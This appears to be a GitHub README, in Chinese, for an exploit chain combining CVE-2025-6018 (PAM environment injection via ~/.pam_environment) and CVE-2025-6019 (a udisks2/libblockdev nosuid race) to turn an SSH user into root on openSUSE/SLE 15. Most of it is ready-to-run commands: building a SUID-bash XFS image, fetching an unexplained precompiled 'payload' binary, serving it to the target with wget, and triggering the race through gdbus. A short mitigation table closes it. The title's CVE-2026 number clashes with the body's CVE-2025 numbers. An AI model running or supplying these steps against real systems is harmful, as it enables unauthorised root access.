m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain

GitHub: m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain

利用 PAM 环境变量注入和 udisks2 竞态条件,从非特权 SSH 用户提权至 root 的漏洞利用链 PoC。

Stars: 0 | Forks: 0

# CVE-2025-6018 + CVE-2025-6019:本地提权漏洞利用链 **目标操作系统:** openSUSE Leap 15.x / SUSE Linux Enterprise 15.x **所需权限:** 具有 SSH 访问权限的非特权本地用户 **结果:** 获取完整的 root shell ## 概述 本文档详细说明了由 Qualys 威胁研究单元发现的两个链式本地提权漏洞的手动利用过程: - **CVE-2025-6018** — 通过 `~/.pam_environment` 实现 PAM 环境变量注入,允许远程 SSH 用户获取通常仅限本地物理控制台用户拥有的 `allow_active` Polkit 状态。 - **CVE-2025-6019** — `libblockdev`(被 `udisks2` 使用)在执行 `Filesystem.Resize` D-Bus 操作临时挂载文件系统时,未能应用 `nosuid` 标志,从而允许从用户控制的 loop device 执行 SUID 二进制文件。 将这些漏洞链接在一起,任何非特权的 SSH 用户都可以在无需其他用户交互的情况下提升至 root 权限。 ## 前置条件 **攻击机(Kali Linux):** - 已安装 `xfsprogs`(`sudo apt install xfsprogs -y`) - `gcc` 可用 - 具备 HTTP 服务器功能(`python3 -m http.server`) **目标机:** - openSUSE Leap 15.x 或 SUSE Linux Enterprise 15.x - 已安装 `udisks2` 和 `polkit`(这些系统上的默认配置) - `gdbus` 可用(`glib2` 的一部分,默认已安装) - 以非特权用户身份进行 SSH 访问 ## 步骤 1:验证漏洞 以非特权用户获取 SSH 访问权限后,请确认目标系统存在该漏洞。 **检查操作系统:** ``` cat /etc/os-release | grep -E "NAME|VERSION" ``` 系统必须是 openSUSE Leap 15.x 或 SUSE Linux Enterprise 15.x。 **检查 `pam_env` 是否读取用户文件:** ``` grep "pam_env" /etc/pam.d/common-auth ``` 查找 `user_readenv=1` 或者是否存在 `pam_env.so`。在默认的 SUSE 安装中,这是启用的。 **检查 `udisks2` 和 `polkit` 是否正在运行:** ``` systemctl is-active udisks2 systemctl is-active polkit ``` **检查 loop device 设置的 Polkit 策略:** ``` grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy ``` `allow_active` 的值必须为 `yes`。 ## 步骤 2:CVE-2025-6018 — 通过 PAM 注入获取 `allow_active` 此漏洞利用了 `pam_env.so` 在 SSH 登录期间读取 `~/.pam_environment`,并在 `pam_systemd.so` 评估会话上下文之前将这些变量注入到会话环境中的机制。通过设置 `XDG_SEAT` 和 `XDG_VTNR`,攻击者可以欺骗 `systemd-logind`,使其将远程 SSH 会话视为物理控制台会话,从而授予 `allow_active` Polkit 特权。 **注入变量:** ``` echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment ``` **注销并通过 SSH 重新连接以触发 PAM 处理:** ``` exit ``` ``` ssh user@ ``` **验证 `allow_active` 是否已被授予:** ``` loginctl list-sessions loginctl show-session | grep -E "Active|Seat|VTNr|Remote" ``` 输出必须显示: ``` Active=yes Seat=seat0 VTNr=1 ``` **如果未自动填充,请设置会话 ID 和 D-Bus 地址:** ``` export XDG_SESSION_ID= export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user//bus ``` ## 步骤 3:准备恶意 XFS 镜像(攻击机) XFS 镜像必须使用与 SUSE 15 内核兼容的特性进行格式化。现代版本的 `xfsprogs` 默认启用 `exchange`、`parent`、`bigtime`、`inobtcount` 和 `nrext64` 等特性,但较旧的 SUSE 内核不支持这些特性,会导致挂载失败。以下标志可生成兼容的 V5 XFS 镜像: ``` dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500 mkfs.xfs -f \ -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 \ -i sparse=0,nrext64=0,exchange=0 \ -n parent=0 \ -d agcount=4 \ /tmp/xfs.image ``` **挂载镜像并注入 SUID bash 二进制文件:** ``` sudo mkdir -p /tmp/mnt sudo mount -o loop /tmp/xfs.image /tmp/mnt sudo cp /bin/bash /tmp/mnt/bash sudo chmod 4755 /tmp/mnt/bash ls -la /tmp/mnt/bash sudo umount /tmp/mnt ``` 输出必须显示 `-rwsr-xr-x 1 root root`。 ## 步骤 4:准备竞态条件捕获程序(攻击机) 由于在 `Filesystem.Resize` 操作期间,易受攻击的挂载窗口仅有几毫秒宽,因此需要一个编译好的 C 二进制文件才能可靠地捕获它。纯 Bash 循环太慢了。 从发布页面下载预编译的 payload: ``` wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload ``` **通过 HTTP 提供这两个文件:** ``` cd /tmp && python3 -m http.server 8888 ``` ## 步骤 5:将文件传输到目标机 ``` # 传输 XFS 镜像 wget http://:8888/xfs.image -O /tmp/xfs.image # 传输 catcher 二进制文件 wget http://:8888/payload -O /tmp/payload chmod +x /tmp/payload ``` ## 步骤 6:CVE-2025-6019 — 利用 udisks2 竞态条件 此步骤需要同时建立两个到目标机的 SSH 会话。 **设置 loop device(任一会话):** ``` udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction ``` 记下分配的 loop device,例如 `/dev/loop1`。 **会话 1:启动捕获程序并保持运行:** ``` /tmp/payload ``` **会话 2:立即触发 resize:** ``` export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user//bus gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}" ``` `Resize` 调用将返回一个错误,但在失败之前,`libblockdev` 会在 `/tmp/blockdev.XXXXXX/` 下的临时路径挂载文件系统,且没有使用 `nosuid` 标志。会话 1 中的捕获程序会检测到此挂载操作,并从挂载内部执行 SUID bash 二进制文件,将一个 root shell 复制到 `/tmp/rootbash` 并启动它。 ## 步骤 7:获取 Root Shell 一旦捕获程序完成,root shell 将自动生成,或者可以通过以下方式获取: ``` /tmp/rootbash -p whoami # root ``` ## 修复方案 | 组件 | 修复方法 | |-----------|-----| | CVE-2025-6018 | 在 PAM 中禁用 `user_readenv`:在 `/etc/pam.d/common-auth` 中设置 `user_readenv=0` | | CVE-2025-6019 | 将 `libblockdev` 和 `udisks2` 更新至发行版供应商提供的已修补版本 | | Polkit 加固 | 在 UDisks2 策略文件中,将 `org.freedesktop.udisks2.loop-setup` 的 `allow_active` 更改为 `auth_admin` |
标签:CVE-2025-6018, CVE-2025-6019, D-Bus, libblockdev, openSUSE, PAM, PoC, Polkit, SSH, SUID, SUSE Linux Enterprise, udisks2, Web报告查看器, 协议分析, 客户端加密, 应用安全, 提权链, 文件系统挂载, 暴力破解, 本地提权, 权限提升, 漏洞分析, 环境变量注入, 网络安全, 路径探测, 隐私保护